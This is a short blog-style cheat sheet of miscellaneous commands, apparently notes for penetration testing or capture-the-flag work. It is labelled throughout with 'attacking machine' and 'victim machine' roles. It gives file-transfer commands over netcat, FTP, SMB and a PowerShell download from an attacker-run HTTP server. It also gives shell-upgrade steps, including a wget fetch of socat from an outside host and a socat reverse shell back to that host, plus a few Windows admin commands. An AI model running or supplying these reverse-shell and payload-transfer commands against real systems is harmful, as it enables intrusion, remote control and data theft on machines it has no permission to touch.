Misc. Commands

November 12, 2021 0 By Ryan Barger

Uploading Files

SCP
scp -r /path/to/local/source user@ssh.example.com:/path/to/remote/destination
    - -r copies recursively

NETCAT
Victim machine command:
	nc -lvp 4444 > FiletoTransfer
Attacking machine command:
	nc 192.168.1.39 4444 -w 3 < FiletoTransfer
	
FTP
Attacking machine command:
	twistd -n ftp -r .
Victim machine command:
	ftp
	open 10.10.10.1 2121
	anonymous
	get FiletoTransfer
	bye
SMB
Attacking machine command:
	impacket-smbserver -smb2support test .
Victim machine command:
	copy \\10.10.10.1:8080\FiletoTransfer FiletoTransfer

POWERSHELL
Attacking machine command:
	python -m SimpleHTTPServer 8080
Victim machine command:
	powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.10.1:8080/FiletoTransfer','C:\Users\test\Desktop\FiletoTransfer')"

Fully Interactive Shell

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
https://github.com/andrew-d/static-binaries

Python
python -c 'import pty; pty.spawn("/bin/bash")'

SOCAT
wget 10.10.14.41:8082/socat
chmod +x socat
socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.41:4444

Uncategorized

shutdown /r /f /t 0   (restarts a computer)

powershell Get-Service (lists all services)

wevtutil qe security /rd:true /f:text /q:"*[System/EventID=4624] and *[EventData/Data[@Name='TargetUserName']='QUERIED_USER_NAME']" /c:20     (TO QUERY EVENT LOGS)

Mounting a folder in Linux.
    - mkdir /mnt/<LOCALFOLDERNAME>
    - mount -t cifs -o username=<USERNAME> //<IP>/<SHARED_FOLDER_PATH> /mnt/<LOCALFOLDERNAME>

makecab.exe <INFILE> <OUTFILE>
    extract <INFILE> <OUTFILE>